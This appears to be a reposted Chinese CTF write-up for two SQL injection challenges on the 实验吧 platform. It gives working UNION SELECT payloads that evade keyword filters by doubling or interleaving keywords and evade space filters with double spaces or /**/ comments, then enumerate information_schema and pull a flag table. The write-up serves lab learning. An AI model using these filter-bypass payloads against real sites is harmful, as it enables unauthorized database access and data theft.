欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

实验吧——(web)简单的SQL注入1、2 writeup

程序员文章站 2022-05-15 09:54:41
...

简单的SQL注入1

实验吧——(web)简单的SQL注入1、2 writeup
判断注入类型
输入:1
实验吧——(web)简单的SQL注入1、2 writeup
输入:1’
实验吧——(web)简单的SQL注入1、2 writeup
出现报错,初步猜测这是一个字符型的注入。

尝试一些基本的语句:
输入:

1' union select schema_name from information_schema.schemata where '1' ='1

实验吧——(web)简单的SQL注入1、2 writeup
又出现报错。union select被过滤
测试了几个关键词以后,发现都被过滤了

关键词被过滤:解决方法如下

1大小写交替: Order SeLect
2.双写 : OderOrder SelectSelect
3.交叉: selecselectt
所以我们先尝试双写 union select

1' unionunion selectselect schema_name from information_schema.schemata where '1' ='1

实验吧——(web)简单的SQL注入1、2 writeup
出现报错,所以应该是空格也被过滤了,所以使用两个空格(绕过空格有好多方法:+,/**/,%0a)

1'  unionunion  selectselect  schema_name  fromfrom  information_schema.schemata  wherewhere  '1' ='1

实验吧——(web)简单的SQL注入1、2 writeup

查询当前数据库,按同样的方式

1' unionunion  selectselect  database()'

实验吧——(web)简单的SQL注入1、2 writeup
接下来我们查询数据库中的表

1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

在输出的众多表中,可以发现一个flag表
实验吧——(web)简单的SQL注入1、2 writeup
所以接下来我们就要查询flag表中的字段

1'  unionunion  selectselect  column_name  fromfrom  information_schema.columns  wherewhere  table_name='flag

报错。
实验吧——(web)简单的SQL注入1、2 writeup发现是column_name和information_schema.columns被过滤
修改我们的命令:

1'  unionunion  selectselect  column_namecolumn_name  fromfrom  information_schema.columnsinformation_schema.columns  wherewhere  table_name='flag

还是报错。于是我们只能换一种防过滤的方法:交叉

1'  unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.columninformation_schema.columnss  wherewhere  table_name='flag

实验吧——(web)简单的SQL注入1、2 writeup
发现flag字段名,这时可以获取flag

1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1

实验吧——(web)简单的SQL注入1、2 writeup

简单的SQL注入2

输入:1’ or ‘1’=‘1
实验吧——(web)简单的SQL注入1、2 writeup
输入:1’or’1’=‘1
实验吧——(web)简单的SQL注入1、2 writeup
输入:1’//or//‘1’='1
实验吧——(web)简单的SQL注入1、2 writeup
猜测是过滤了空格。

输入基本语句:1’ union select schema_name from information_schema.schemata where ‘1’ ='1
会出现SQLi detected!
实验吧——(web)简单的SQL注入1、2 writeup
然后我们尝试获取数据库

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

实验吧——(web)简单的SQL注入1、2 writeup
获取数据库中的表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

实验吧——(web)简单的SQL注入1、2 writeup
获取字段:

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

实验吧——(web)简单的SQL注入1、2 writeup
获取flag:

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

实验吧——(web)简单的SQL注入1、2 writeup

参考:https://www.cnblogs.com/Ragd0ll/p/8529402.html